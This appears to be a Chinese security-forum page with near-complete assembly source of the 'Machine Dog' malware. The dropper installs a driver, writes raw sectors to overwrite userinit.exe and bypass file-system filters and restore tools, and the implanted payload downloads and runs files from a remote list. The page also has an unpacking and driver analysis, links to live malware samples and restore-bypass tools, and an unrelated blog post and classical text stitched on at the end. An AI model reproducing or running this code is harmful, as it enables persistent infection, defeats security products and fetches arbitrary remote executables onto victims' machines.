push 0 ; lpMachineName
call OpenSCManagerA
or eax, eax
jz OpenSCManagerFailed
mov hSCManager, eax

push 0 ; lpPassword
push 0 ; lpServiceStartName
push 0 ; lpDependencies
push 0 ; lpdwTagId
push 0 ; lpLoadOrderGroup
lea eax, @FileName
push eax ; lpBinaryPathName
push 0 ; dwErrorControl
push 3 ; dwStartType
push 1 ; dwServiceType
push 0 ; dwDesiredAccess
push offset ServiceName ; "PciHdd"
push offset ServiceName ; "PciHdd"
push hSCManager ; hSCManager
call CreateServiceA
or eax, eax
jz CreateServiceFailed
mov hSCObject, eax
push hSCObject ; hSCObject
call CloseServiceHandle
jmp OPENSERVICE

CreateServiceFailed:
push 0F01FFh ; dwDesiredAccess
push offset ServiceName ; "PciHdd"
push hSCManager ; hSCManager
call OpenServiceA
or eax, eax
jz short OpenServiceFailed
mov hSCObject, eax
lea eax, ServiceStatus
push eax ; lpServiceStatus
push 1 ; dwControl
push hSCObject ; hService
call ControlService
push hSCObject ; hService
call DeleteService
push hSCObject ; hSCObject
call CloseServiceHandle

OpenServiceFailed:
push 0 ; lpPassword
push 0 ; lpServiceStartName
push 0 ; lpDependencies
push 0 ; lpdwTagId
push 0 ; lpLoadOrderGroup
lea eax, @FileName
push eax ; lpBinaryPathName
push 0 ; dwErrorControl
push 3 ; dwStartType
push 1 ; dwServiceType
push 0 ; dwDesiredAccess
push offset ServiceName ; "PciHdd"
push offset ServiceName ; "PciHdd"
push hSCManager ; hSCManager
call CreateServiceA
or eax, eax
jz QUIT
mov hSCObject, eax
push hSCObject ; hSCObject
call CloseServiceHandle
jmp OPENSERVICE

QUIT:
jmp Exit

OPENSERVICE:
push 10h ; dwDesiredAccess
push offset ServiceName ; "PciHdd"
push hSCManager ; hSCManager
call OpenServiceA
or eax, eax
jz OPENSERVICEFAILED
mov hSCObject, eax
push 0 ; lpServiceArgVectors
push 0 ; dwNumServiceArgs
push hSCObject ; hService
call StartServiceA
or eax, eax
jnz StartServiceOK
jmp Exit

StartServiceOK: ; hSCObject
push hSCObject
call CloseServiceHandle
push hSCManager ; hSCObject
call CloseServiceHandle
jmp OpenSCManagerFailed

OPENSERVICEFAILED:
push hSCManager
call CloseServiceHandle
jmp Exit

OpenSCManagerFailed: ; nSize
push 100h
lea eax, @FileName
push eax ; lpDst
push offset Src ; "%SystemRoot%\\system32\\drivers\\pcihdd.sys"
call ExpandEnvironmentStringsA
lea eax, @FileName
push eax ; lpFileName
call DeleteFileA
ret

Exit:
push 10h
push 0 ; lpCaption
push offset Text ; "出错"
push 0 ; hWnd
call MessageBoxA
push 0 ; uExitCode
call ExitProcess
LoadServiceFromRes endp

aSystemrootSyst db '%SystemRoot%\System32\Userinit.exe',0
;***************************************************************************************************************
;簇是磁盘使用的基本单元。 组成一个簇的扇区数总是2的幂数,当卷被格式化时此数值是固定的。 此数值称为簇要素,
;通常用字节引用,如8KB,2KB。 NTFS通过每件事的逻辑簇数来寻址。
;逻辑簇数(LCN):卷里的每个簇都给定了一个顺序号,这是它的逻辑簇数。LCN0(零)指向卷的第一个簇(引导扇区)。
; 用LCN乘以簇的大小就可以算出在卷里的物理偏移量。
;
;实际簇数(VCN):一个非常驻的流的每个簇都给定了一个顺序号,这是它的实际簇数。VCN0(零)指向这个流的第一个簇。
; 要定位磁盘上的流,就必须把VCN转换成LCN.这是在数据运转的帮助下完成的。
;
;数据运转:每个LCN的连续模块都被赋予了一个数据运转,它包含一个VCN,一个LCN和一个长度。
; 当NTFS需要在磁盘上找到一个对象时,就查看数据运转中的VCN来得到LCN。

;其他信息:
; 1)当卷被格式化时可以选择簇的大小。
; 2)一个卷的簇的大小存储在$Boot里。也定义了此值在一个MFT文件记录和一个索引记录的簇里。
; 3)如果扇区数在用,NTFS通过引用簇数可以寻址更大的磁盘。

;下面是一个关于允许和默认簇的大小的列表:

;Windows NT
; 512 bytes, 1KB, 2KB or 4KB
;Windows 2000, Windows XP
; 512 bytes, 1KB, 2KB, 4KB, 8KB, 16KB, 32KB or 64KB

;卷的大小 默认的簇的大小
;< 512MB Sector size
;< 1GB 1KB
;< 2GB 2KB
;> 2GB 4KB
;***************************************************************************************************************
DoMyWork proc lpFileName ;成功返回值为0

LOCAL lpBuffer
LOCAL nNumberOfBytesToWrite
LOCAL hDevice
LOCAL lDistanceToMove
LOCAL HighOffset
LOCAL dwLowPartofLcn
LOCAL dwHighPartofLcn
LOCAL StartSectorC
LOCAL hFile
LOCAL PhysicalBuff[512]:BYTE
LOCAL Buffer[512]:BYTE
LOCAL OutBuffer[272]:BYTE
LOCAL dwRet
LOCAL DistanceToMoveHigh:DWORD
LOCAL InBuffer[8]:BYTE
LOCAL hObject

pusha
push 0 ; hTemplateFile
push 0 ; dwFlagsAndAttributes
push 3 ; dwCreationDisposition
push 0 ; lpSecurityAttributes
push 0 ; dwShareMode
push 80000000h ; dwDesiredAccess
push offset FileName ; "\\\\.\\PhysicalHardDisk0" 是pcihdd.sys创建的符号链接
call CreateFileA
cmp eax, 0FFFFFFFFh
jz CreateFileFailed
mov hDevice, eax

push 0 ; hTemplateFile
push 20000000h ; dwFlagsAndAttributes
push 3 ; dwCreationDisposition
push 0 ; lpSecurityAttributes
push 3 ; dwShareMode
push 80000000h ; dwDesiredAccess
push lpFileName ; 打开userinit.exe
call CreateFileA
cmp eax, 0FFFFFFFFh
jz CreateUserInitFileFailed
mov hObject, eax

push 8
lea eax,InBuffer
push eax
call RtlZeroMemory

push 110h ;初始化
lea eax, OutBuffer
push eax
call RtlZeroMemory

push 0 ; lpOverlapped
lea eax, DistanceToMoveHigh
push eax ; lpBytesReturned
push 110h ; nOutBufferSize
lea eax, OutBuffer
push eax ; lpOutBuffer
push 8 ; nInBufferSize
lea eax, InBuffer
push eax ; lpInBuffer
push 90073h ; dwIoControlCode = FSCTL_GET_RETRIEVAL_POINTERS
push hObject ; hDevice
call DeviceIoControl ;通过FSCTL_GET_RETRIEVAL_POINTERS获取userinit文件数据的分布信息
or eax, eax
jz DeviceIoControlFailed

;这个结构是8字节对齐的,结构长度32字节
;typedef struct RETRIEVAL_POINTERS_BUFFER
;{
; DWORD ExtentCount;
; LARGE_INTEGER StartingVcn;
; struct
; {
; LARGE_INTEGER NextVcn;
; LARGE_INTEGER Lcn;
; } Extents[1];
;} RETRIEVAL_POINTERS_BUFFER, *PRETRIEVAL_POINTERS_BUFFER;

;typedef union union
;{
; struct
; {
; DWORD LowPart;
; LONG HighPart;
; };
; LONGLONG QuadPart;
;} LARGE_INTEGER, *PLARGE_INTEGER;

lea edi, OutBuffer ;OutBuffer是上面结构体指针
mov ebx, [edi] ;ExtentCount = Extents数组元素个数
lea edi, [edi+10h] ;指向Extents数组首地址,根据字节对齐
mov eax, DistanceToMoveHigh
or ebx, ebx ;判断ExtentCount是否为0
jz ExtentCountIsZero

mov eax, [edi+8] ;指向Extents[0].Lcn.LowPart
mov edx, [edi+0Ch] ;指向Extents[0].Lcn.HighPart
cmp eax, 0FFFFFFFFh
jz FEIHUA
cmp edx, 0FFFFFFFFh
jz FEIHUA

mov dwLowPartofLcn, eax ;保存lcn低32位
mov dwHighPartofLcn, edx ;保存lcn高32位

push 0 ; lpOverlapped
lea eax, DistanceToMoveHigh
push eax ; lpNumberOfBytesRead
push 200h ; nNumberOfBytesToRead
lea eax, Buffer
push eax ; lpBuffer
push hObject ; hFile
call ReadFile ;读取userinit文件开头512字节

push hObject ; hObject
call CloseHandle
mov hObject, 0 ;关闭文件

push 0 ; hTemplateFile
push 0 ; dwFlagsAndAttributes
push 3 ; dwCreationDisposition
push 0 ; lpSecurityAttributes
push 3 ; dwShareMode
push 0C0000000h ; dwDesiredAccess
push offset a_Physicaldrive ; "\\\\.\\PhysicalDrive0"
call CreateFileA ;打开物理硬盘读写
cmp eax, 0FFFFFFFFh
jz OPENPHYSICSFAILED
mov hFile, eax

push 0 ; dwMoveMethod
push 0 ; lpDistanceToMoveHigh
push 0 ; lDistanceToMove
push hFile ; hFile
call SetFilePointer ; 定位

push 0 ; lpOverlapped
lea eax, DistanceToMoveHigh
push eax ; lpNumberOfBytesRead
push 200h ; nNumberOfBytesToRead
lea eax, PhysicalBuff
push eax ; lpBuffer
push hFile ; hFile
call ReadFile ;读取硬盘主引导分区MBR
;
; 0000 |------------------------------------------------|
; | |
; | |
; | Master Boot Record |
; | |
; | |
; | 主引导记录(446字节) |
; | |
; | |
; | |
; 01BD | |
; 01BE |------------------------------------------------|
; | |
; 01CD | 分区信息 1(16字节) |
; 01CE |------------------------------------------------|
; | |
; 01DD | 分区信息 2(16字节) |
; 01DE |------------------------------------------------|
; | |
; 01ED | 分区信息 3(16字节) |
; 01EE |------------------------------------------------|
; | |
; 01FD | 分区信息 4(16字节) |
; |------------------------------------------------|
; | 01FE | 01FF |
; | 55 | AA |
; |------------------------------------------------|
;分区表
;
; 分区表是一个链表,主分区表是分区链表的第一个节点。由于主分区表中只能分四个分区, 无法满足需求,
因此设计了一种扩展分区格式。扩展分区就是分区表的第二个节点到最后一个节点。
;
; 主分区表是从主引导扇区第0x1BE字节开始的,共64个字节,最后是0x55AA。64个字节的分区信息分为四组,每16字节为一组。每组的数据结构是这样的:
;
;typedef struct
;{
; BYTE byState;//分区状态, 0 = 未激活, 0x80 = 激活
; BYTE byBeginHead;//分区起始磁头号
; WORD wBeginSC;//分区起始扇区和柱面号, 底字节的低6位为扇区号, 高2位为柱面号的第 9,10 位, 高字节为柱面号的低 8 位
; BYTE byFSID; //分区类型, 如 0x0B = FAT32, 0x83 = Linux 等, 00 表示此项未用
; BYTE byEndHead;//分区结束磁头号
; WORD wEndSC;//分区结束扇区和柱面号
; DWORD dwInfoAreaSectors;//在线性寻址方式下的分区相对扇区地址
; DWORD dwSectors;//分区大小 (总扇区数)
;} INFOAREA_PARAM;//磁盘的分区信息

lea edi, PhysicalBuff
cmp byte ptr [edi+1BEh], 80h ;byState判断是否为活动分区
jnz NOTACTIVEDISK
movzx ebx, byte ptr [edi+1C2h] ;byFSID判断分区类型
cmp ebx, 0Bh
jz FAT32 ;Win95 FAT32
cmp ebx, 0Ch
jz FAT32 ;Win95 FAT32 LBA
cmp ebx, 7
jnz NTFS ;HPFS/NTFS

FAT32:
mov eax, [edi+1C6h] ;C盘起始扇区(首扇区的相对扇区号)
mov StartSectorC, eax
xor edx, edx
imul eax, 200h ;求出实际的字节偏移
mov DistanceToMoveHigh, edx
mov ecx, eax

push 0 ; dwMoveMethod
lea eax, DistanceToMoveHigh
push eax ; lpDistanceToMoveHigh
push ecx ; lDistanceToMove
push hFile ; hFile
call SetFilePointer ;定位到硬盘C盘起始扇区的绝对位置

push 0 ; lpOverlapped
lea eax, DistanceToMoveHigh
push eax ; lpNumberOfBytesRead
push 200h ; nNumberOfBytesToRead
lea eax, PhysicalBuff
push eax ; lpBuffer
push hFile ; hFile
call ReadFile ;读硬盘C盘起始扇区 即:第一个分区的引导扇区BPB

lea edi, PhysicalBuff
movzx eax, word ptr [edi+0Eh]; BPB_RsvdSecCnt = 保留扇区数量
add StartSectorC, eax
cmp ebx, 0Bh ;Win95 FAT32
jz WIN95FAT32
cmp ebx, 0Ch ;Win95 FAT32 LBA
jnz short FAT32LBA

WIN95FAT32:
movzx ecx, byte ptr [edi+10h]; BPB_NumFATS = 每个分区占用的FAT表 数
mov eax, [edi+24h] ; BPB_FATSz32 = 每个FAT占用扇区数
xor edx, edx
imul eax, ecx
add StartSectorC, eax ;数据记录起始扇区

FAT32LBA:
mov eax, dwLowPartofLcn
mov edx, dwHighPartofLcn
movzx ecx, byte ptr [edi+0Dh] ;BPB_SecPerClus = 每簇多少扇区
mov nNumberOfBytesToWrite, ecx
imul eax, ecx
add eax, StartSectorC
adc edx, 0
imul eax, 200h ;求出绝对偏移字节位置
mov HighOffset, edx ;偏移高32位
mov lDistanceToMove, eax ;低32位

push 0 ; dwMoveMethod
lea eax, HighOffset
push eax ; lpDistanceToMoveHigh
push lDistanceToMove ; lDistanceToMove
push hFile ; hFile
call SetFilePointer

push 0 ; lpOverlapped
lea eax, DistanceToMoveHigh
push eax ; lpNumberOfBytesRead
push 200h ; nNumberOfBytesToRead
lea eax, PhysicalBuff
push eax ; lpBuffer
push hFile ; hFile
call ReadFile ;在找到的硬盘扇区读

lea edi, PhysicalBuff
lea esi, Buffer
mov ecx, 200h
repe cmpsb ;通过对比ReadFile读取的文件数据和自己定位后直接读取所得到的文件数据,确定定位是否正确

or ecx, ecx
jnz DIFF

push 0 ; dwMoveMethod
lea eax, HighOffset
push eax ; lpDistanceToMoveHigh
push lDistanceToMove ; lDistanceToMove
push hFile ; hFile
call SetFilePointer ;重新定位到上面找到的硬盘扇区处

mov eax, nNumberOfBytesToWrite
shl eax, 9 ;这个值是作者估算的
mov nNumberOfBytesToWrite, eax

push nNumberOfBytesToWrite ; dwBytes
push 40h ; uFlags
call GlobalAlloc
or eax, eax
jz ALLOCMEMORYFAILED
mov lpBuffer,eax

mov ecx, offset MessageBoxA
sub ecx, offset Src ; "%SystemRoot%\\system32\\drivers\\pcihdd.sys"

;把整个代码体作为参数传递给pcihdd.sys,控制码0xF0003C04,
push 0 ; lpOverlapped
lea eax, DistanceToMoveHigh
push eax ; lpBytesReturned
push nNumberOfBytesToWrite ; nOutBufferSize
push lpBuffer ; lpOutBuffer
push ecx ; nInBufferSize
push offset Src ; "%SystemRoot%\\system32\\drivers\\pcihdd.sys"
push 0F0003C04h ; dwIoControlCode
push hDevice ; hDevice
call DeviceIoControl

;并将pcihdd返回的数据直接写入userinit.exe的第一簇
push 0 ; lpOverlapped
lea eax, DistanceToMoveHigh
push eax ; lpNumberOfBytesWritten
push nNumberOfBytesToWrite ; nNumberOfBytesToWrite
push lpBuffer ; lpBuffer
push hFile ; hFile
call WriteFile

push hFile ; hFile
call FlushFileBuffers
mov dwRet, 0
jmp OVER

ALLOCMEMORYFAILED:
; "分配内存不成功"
mov dwRet, offset aFCJ

OVER: ; hMem
push lpBuffer
call GlobalFree
jmp FINISHED

DIFF:
mov dwRet, offset ERR1
jmp FINISHED

NTFS:
mov dwRet, offset ERR2
jmp FINISHED

NOTACTIVEDISK:
mov dwRet, offset ERR3

FINISHED: ; hObject
push hFile
call CloseHandle
jmp OPENPHYSICSFAILED

FEIHUA:
mov dwRet, offset ERR4

OPENPHYSICSFAILED: ;打开硬盘设备失败
jmp ExtentCountIsZero

DeviceIoControlFailed:
mov dwRet, offset ERR5

ExtentCountIsZero:
cmp hObject, 0
jz ZeroObject
push hObject ; hObject
call CloseHandle
jmp ZeroObject

CreateUserInitFileFailed:
mov dwRet, offset ERR6

ZeroObject: ; hObject
push hDevice
call CloseHandle
jmp EXIT

CreateFileFailed:
mov dwRet, offset ERR7

EXIT:
popa
mov eax, dwRet
ret
DoMyWork endp

start proc
push 0 ; lpModuleName
call GetModuleHandleA
mov hModule, eax
call LoadServiceFromRes ;load service from resource

push 100h ; nSize
push offset Dst ; lpDst
push offset aSystemrootSyst ; "%SystemRoot%\\System32\\Userinit.exe"
call ExpandEnvironmentStringsA

push offset Dst ; lpFileName
call DoMyWork
or eax, eax
jnz FAILED
push offset OutputString ;
call OutputDebugStringA
jmp Exit

FAILED: ; lpOutputString
push eax
call OutputDebugStringA

Exit:
call QuitService
push 0 ; uExitCode
call ExitProcess
start endp

end start

文章作者:naitm
信息来源:邪恶八进制信息安全团队(www.eviloctal.com)
文章备注:从IDA中复制,稍作修改所得。
ASM

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 机器狗写入到userinit.exe文件的恶意代码
; by naitm(http://hi.baidu.com/naitm)
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.386
.model flat,stdcall
option casemap:none
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; Include 文件定义
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
include windows.inc
include user32.inc
includelib user32.lib
include kernel32.inc
includelib kernel32.lib
include Advapi32.inc
includelib Advapi32.lib
include wininet.inc
includelib wininet.lib
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 数据段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.data
nThreadCount dd 0
g_ThreadCount dd 0
PathName db '.',0
szAgent db 'Shell',0
szUser32Dll db 'user32.dll',0
szLoadRemoteFonts db 'LoadRemoteFonts',0
szSubKey db 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon',0
szUrlList db 'http://127.0.0.1/cert.cer',0
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 代码段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.code
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_RunIt proc @lpExePath

local @ProcessInformation:PROCESS_INFORMATION
local @StartupInfo:STARTUPINFO

invoke GetStartupInfo,addr @StartupInfo
invoke CreateProcess,0,@lpExePath,0,0,0,20h,0,0,addr @StartupInfo,addr
@ProcessInformation
.if eax == 0
invoke CloseHandle,@ProcessInformation.hThread
invoke CloseHandle,@ProcessInformation.hProcess
.endif

leave
retn 4
_RunIt endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_DownloadFile proc @lpURL,@lpSaveFile,@Buffer

local @hInternet,@hInternetFile,@hLocalFile,@nNumberOfBytesToWrite,@NumberOfBytesWritten,@nWriteCount
local @lpbuffer[200h]:BYTE

xor eax, eax
mov @nWriteCount, eax
invoke InternetOpen,addr szAgent,0,0,0,0
.if eax != 0
mov @hInternet, eax
invoke InternetSetOption,@hInternet,2,@Buffer,4
invoke InternetSetOption,@hInternet,6,@Buffer,4
invoke InternetOpenUrl,@hInternet,@lpURL,0,0,200000h,0
.if eax != 0
mov @hInternetFile, eax
mov @nNumberOfBytesToWrite, 0
mov @NumberOfBytesWritten, 200h
invoke HttpQueryInfo,@hInternetFile,13h,addr @lpbuffer,\
addr @NumberOfBytesWritten,addr @nNumberOfBytesToWrite
.if eax != 0
invoke CreateFile,@lpSaveFile,40000000h,0,0,4,0,0
.if eax != 0FFFFFFFFh
mov @hLocalFile, eax
.while TRUE
mov @nNumberOfBytesToWrite, 0
invoke InternetReadFile,@hInternetFile,addr @lpbuffer,200h,addr
@nNumberOfBytesToWrite
.break .if (!eax)
.break .if (@nNumberOfBytesToWrite==0)
inc @nWriteCount
invoke WriteFile,@hLocalFile,addr @lpbuffer,@nNumberOfBytesToWrite,\
addr @NumberOfBytesWritten,0
.endw
invoke SetEndOfFile,@hLocalFile
invoke CloseHandle,@hLocalFile
.endif
.endif
invoke InternetCloseHandle,@hInternetFile
.endif
invoke InternetCloseHandle,@hInternet
.endif
mov eax, @nWriteCount
leave
retn 0Ch

_DownloadFile endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_DownloadEXERunIt proc @lpURL

local @DownTimes
local @TempFileName[204h]:BYTE
local @TempFileName2[204h]:BYTE
local @szUrl[104h]:BYTE

mov @DownTimes, 3Ch
invoke lstrcpy,addr @szUrl,@lpURL
invoke RtlZeroMemory,addr @TempFileName,204
invoke GetTempFileName,offset PathName,0,0,addr @TempFileName
invoke lstrcpy,addr @TempFileName2,addr @TempFileName

DownloadNxTime:
invoke _DownloadFile,addr @szUrl,addr @TempFileName,1388h
or eax, eax
jz DownloadFailed
invoke lstrcpy,addr @TempFileName,addr @TempFileName2
invoke _RunIt,addr @TempFileName
jmp DownloadEnd
; ---------------------------------------------------------------------------

DownloadFailed:
invoke Sleep,3E8h
dec @DownTimes
jnz DownloadNxTime

DownloadEnd:
dec nThreadCount
leave
retn 4
_DownloadEXERunIt endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
start:
main proc

local hKey,hObject,hFile,lpBaseAddress,ThreadId
local szShellValue[104h]:BYTE

invoke LoadLibrary,offset szUser32Dll
or eax, eax
jz RegQueryShell
invoke GetProcAddress,eax,offset szLoadRemoteFonts
or eax, eax
jz RegQueryShell
call eax

RegQueryShell:

invoke RegOpenKeyEx,80000002h,offset szSubKey,0,20019h,addr hKey
or eax, eax
jnz TestInternet
mov ThreadId, 104h
invoke RtlZeroMemory,addr szShellValue,104h
invoke RegQueryValueEx,hKey,offset szAgent,0,0,addr szShellValue,addr ThreadId
invoke _RunIt,addr szShellValue
invoke RegCloseKey,hKey

TestInternet:

invoke Sleep,3E8h
invoke InternetGetConnectedState,addr ThreadId,0
or eax, eax
jnz InternetConnect_OK
jmp TestInternet
; ---------------------------------------------------------------------------

InternetConnect_OK:
invoke RtlZeroMemory,addr szShellValue,104h
invoke GetTempFileName,offset PathName,0,0,addr szShellValue

DownList:

invoke Sleep,3E8h
invoke _DownloadFile,offset szUrlList,addr szShellValue,1388h
or eax, eax
jz DownListFailed

mov nThreadCount, 0
invoke CreateFile,addr szShellValue,GENERIC_READ,0,0,3,0,0
cmp eax, INVALID_HANDLE_VALUE
jz ReaptDownList

mov hFile, eax
invoke GetFileSize,hFile,0
cmp eax, 0Fh
jnb BeginDownEXE
invoke CloseHandle,hFile
jmp DownList
; ---------------------------------------------------------------------------

BeginDownEXE:
invoke CreateFileMapping,hFile,0,2,0,0,0
or eax, eax
jz CreateMapFailed
mov hObject, eax
invoke MapViewOfFile,eax,4,0,0,0
or eax, eax
jz MapViewFailed

mov lpBaseAddress, eax
mov esi, eax

loc_4005E1:
lea edi, szShellValue
push 104h
push edi
call RtlZeroMemory

WetherNewLine:
lodsb
cmp al, 0Ah
jnz loc_4005F8
lodsb

loc_4005F8:
cmp al, 0Dh
jz loc_400605
stosb
or al, al
jz UrlListEnd
jmp WetherNewLine
; ---------------------------------------------------------------------------
jmp UrlListEnd
; ---------------------------------------------------------------------------

loc_400605:
cmp szShellValue, 0
jz NextLine
inc nThreadCount
invoke CreateThread,0,0,offset _DownloadEXERunIt,addr
szShellValue,0,addr ThreadId
invoke CloseHandle,eax
invoke Sleep,64h

NextLine:
jmp loc_4005E1
; ---------------------------------------------------------------------------

UrlListEnd:

invoke UnmapViewOfFile,lpBaseAddress

MapViewFailed:
invoke CloseHandle,hObject

CreateMapFailed:
invoke CloseHandle,hFile
jmp WetherTreadend
; ---------------------------------------------------------------------------

ReaptDownList:
jmp DownList
; ---------------------------------------------------------------------------
jmp WetherTreadend
; ---------------------------------------------------------------------------

DownListFailed:
jmp DownList
; ---------------------------------------------------------------------------

WetherTreadend:

cmp nThreadCount, 0
jz ExitProgram
invoke Sleep,64h
jmp WetherTreadend
; ---------------------------------------------------------------------------

ExitProgram:
invoke ExitProcess,0

main endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
end start
鬼仔注:文章末尾所添加的机器狗、IGM、写穿还原的工具(已可以被卡巴检测到是病毒)是在无敌小龙那里看到的,我加了个备用地址。

样本脱壳
OD加载样本explorer.exe,
对GetModuleHandleA下断,参数为NULL时即为入口点处对此函数的调用,
退出CALL之后可以得到入口为 004016ED。
重新加载样本,对004016ED下内存写入断点,中断后StepOver一步,然后在004016ED
下断点,F9运行到入口,DUMP。DUMP之后不关闭OD,让样本处于挂起状态,使用ImportREC修复DUMP
出来的文件的导入表。
修复之后DUMP出来的文件用OD加载出错,使用PEDITOR的rebuilder功能重建PE之后即可用OD加载,说明
脱壳基本成功,但资源部分仍有问题,无法用Reshacker查看

pcihdd.sys的提取
OD加载样本explorer.exe,设置有新模块加载时中断,F9运行
当ADVAPI32.DLL加载时,对CreateServiceA下断点,F9运行
当CreateServiceA中断时,即可提取出pcihdd.sys

pcihdd.sys基本流程如下
1)检查IDT的09(NPX Segment Overrun)和0E(Page Fault )处理程序的地址
如果09号中断处理程序存在,并且处理程序地址的高8位与0E处理程序高8位不同,则把
IDT中0E的高16位设为0。估计是检查0E是不是被HOOK了
我比较龌龊,看不懂这些操作的意思,这样不BSOD?请懂的兄弟跟帖告诉一声
2)通过搜索地址来查找自己的加载地址
查找驱动文件的资源中的1000/1000,并复制到一个全局缓冲区中
3)创建了\Device\PhysicalHardDisk0及其符号连接\DosDevices\PhysicalHardDisk0
4)只对IRP_MJ_CREATE
IRP_MJ_CLOSE
IRP_MJ_DEVICE_CONTROL
作出响应

其中IRP_MJ_CREATE中会断开\Device\Harddisk0\DR0上附加的设备。这个操作会使磁盘过滤驱动、文件系统驱动(OS提供的,
但一些杀毒软件也通过此渠道进行文件系统监控)及其上的文件系统过滤驱动(大多数文件访问控制和监控
都是这个层次的)无效(参见http://blog.csdn.net/joshua_yu/archive/2006/02/04/591636.aspx)

在IRP_MJ_CLOSE 中对恢复DR0上的附加

在IRP_MJ_DEVICE_CONTROL中对0xF0003C04作出响应,只是把2)中找到的资源数据解密后返回到应用程序。
解密密钥是通过应用程序传入的一个串(密钥种子?)查表后产生(KEY:0x3f702d98)

0xF0003C04的作用:
将用户态传入的整个代码体作为密钥种子对这个代码体进行类似于校验和的运算后得
到4字节的解密KEY,然后使用此解密key将驱动自身携带的资源解密(仅仅是XOR),将解密
结果返回给用户态。

关于解除DR0上的附加设备:
这种操作应该会影响系统正常的文件系统操作,但是因为实际操作时此驱动被打开和关闭的的间隔很短,所以应该
不会有明显影响。

explorer.exe流程
1、释放资源中的pcihdd.sys并创建名为pcihdd的服务,启动服务
2、定位userinit.exe在硬盘中的位置。定位方法如下
1)通过FSCTL_GET_RETRIEVAL_POINTERS获取文件数据的分布信息

2)通过直接访问硬盘(\\\\.\\PhysicalHardDisk0)的的MDR和
第一个分区的引导扇区得到分区参数(每簇扇区数),配合1)中得到的信息
来定位文件在硬盘上的绝对偏移量。
这里有个小BUG,扇区大小是使用固定的512字节而不是从引导扇区中获取

3)通过对比ReadFile读取的文件数据和自己定位后直接
读取所得到的文件数据,确定定位是否正确
3、把整个代码体作为参数传递给pcihdd.sys,控制码0xF0003C04,并将pcihdd返回
的数据直接写入userinit.exe的第一簇

被修改后的userinit.exe
1)查询SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon下的Shell键值
2)创建Shell进程
3)等待网络链接,当网络链接畅通后,则从http://yu.8s7.net/cert.cer下载列表
4)对于列表中的文件每个文件,创建一个新线程下载并执行,线程计数加一(INC)
5)等待所有线程结束后(线程计数为0)结束进程。

对于线程计数的操作并不是原子操作,理论上多CPU情况下有小的概率出问题。
不过人家是写针对普通PC的病毒,多CPU不常见,也不需要稳定

simple.rar (142.99 KB)

文中所指的病毒就是一般说的新AV终结者

机器狗:http://www.esfast.net/downs/explorer.rar [备用地址]
IGM:http://www.esfast.net/downs/IGM.rar [备用地址]
写穿还原的工具:http://www.esfast.net/downs/SectorEditor.zip

盐铁论

从柜子里翻出一本小册子,诸子百家的盐铁论,翻了前几页,就感叹起来,论战双方真是精彩。现在的信息获取这么方便,精品却越来越少了,到处充斥着各种各样的垃圾信息,就像上网,似乎每天都在看杂志似的,没多少有用的东西。

想想,现在的信息,在硬盘上,在光盘上,过上几年就丢了,现在还保留着上学时用的磁盘,里面的东西,估计早就读不出来了。还是古人保存信息的方法好啊,直接刻在石头上,过了几十个世纪,都还清清楚楚地在上面。

无论是信息的有效性,还是保存信息的技术,古人确实很有一套啊。下面的日子,要经常读经典的东西了,没时间经常上网了。

也许以后只是在经常写一下想法,和日记似的,必要的时候,才会开机上网吧。

下面是盐铁论第一部分,看看,是不是非常精彩。google一下,网上有可以下载的地方。诸子百家的全文,txt版本。

家庭百宝箱系列软件主页
盐铁论 卷一
(桓宽)


返回:诸子百家目录
进入:盐铁论01 02 03 04 05 06 07 08 09 10(当前页:01)

本议第一

惟始元六年,有诏书使丞相、御史与所举贤良、文学语。问民间所疾苦。
文学对曰:"窃闻治人之道,防淫佚之原,广道德之端,抑末利而开仁义,毋示以利
,然后教化可兴,而风俗可移也。今郡国有盐、铁、酒榷,均输,与民争利。散敦厚之朴,成贪鄙之化。是以百姓就本者寡,趋末者众。夫文繁则质衰,末盛则质亏。末修则民淫,本修则民悫。民悫则财用足,民侈则饥寒生。愿罢盐、铁、酒榷、均输,所以进本退末,广利农业,便也。"
大夫曰:"匈奴背叛不臣,数为寇暴于边鄙,备之则劳中国之士,不备则侵盗不止。先帝哀边人之久患,苦为虏所系获也,故修障塞。饬烽燧,屯戍以备之。边用度不足,故兴盐、铁,设酒榷,置均输,蕃货长财,以佐助边费。今议者欲罢之,内空府库之藏,外乏执备之用,使备塞乘城之士饥寒于边,将何以赡之?罢之,不便也。"
文学曰:"孔子曰:'有国有家者,不患贫而患不均,不患寡而患不安。'故天子不言多少,诸侯不言利害,大夫不言得丧。畜仁义以风之,广德行以怀之。是以近者亲附而远者悦服。故善克者不战,善战者不师,善师者不阵。修之于庙堂,而折冲还师。王者行仁政,无敌于天下,恶用费哉?"
大夫曰:"匈奴桀黠,擅恣入塞,犯厉中国,杀伐郡、县、朔方都尉,甚悖逆不轨
